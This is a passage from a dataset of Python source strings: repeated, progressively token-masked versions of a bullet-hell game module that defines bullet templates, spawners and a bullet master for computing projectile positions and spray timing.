_internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n\n\nclass BulletTemplate(object):\n\n def __init__(self, animationName, initialVelocity, hitbox):\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n <function token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n\n\nclass BulletTemplate(object):\n <function token>\n <function token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n 